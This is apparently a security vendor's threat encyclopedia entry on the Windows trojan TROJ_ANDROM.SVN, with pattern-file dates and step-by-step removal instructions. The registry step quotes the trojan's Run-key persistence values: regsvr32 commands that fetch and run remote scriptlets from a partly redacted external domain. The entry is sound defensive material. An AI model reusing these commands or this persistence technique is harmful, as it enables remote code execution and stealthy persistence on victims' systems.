Threat Encyclopedia

TROJ_ANDROM.SVN

Publish date: August 30, 2017

ANALYSIS BY

Byron Jon Gelera


PLATFORM:

Windows

OVERALL RISK RATING:
DAMAGE POTENTIAL:
DISTRIBUTION POTENTIAL:
REPORTED INFECTION:
INFORMATION EXPOSURE:

  • Threat Type:Trojan

  • Destructiveness:No

  • Encrypted:

  • In the wild: Yes

OVERVIEW

TECHNICAL DETAILS

SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

13.584.04

FIRST VSAPI PATTERN DATE:

09 Aug 2017

VSAPI OPR PATTERN File:

13.585.00

VSAPI OPR PATTERN Date:

10 Aug 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as TROJ_ANDROM.SVN

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  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Delete this registry value

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Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.


  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/restore.xml scrobj.dll
  • In HKEY_CURRENT_USER\Keyboard Layout
    • 2 = {hex value}
  • In HKEY_CURRENT_USER\SOftware\Microsoft\Windows
    • {Volume Serial Number} = {hex value}
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/deploy.xml scrobj.dll

Step 5

Search and delete these files

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There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
 
  • %Application Data%\ee{8 random characters}.exe
  • %User Startup%\{1 random character}.lnk

Step 6

Scan your computer with your Trend Micro product to delete files detected as TROJ_ANDROM.SVN. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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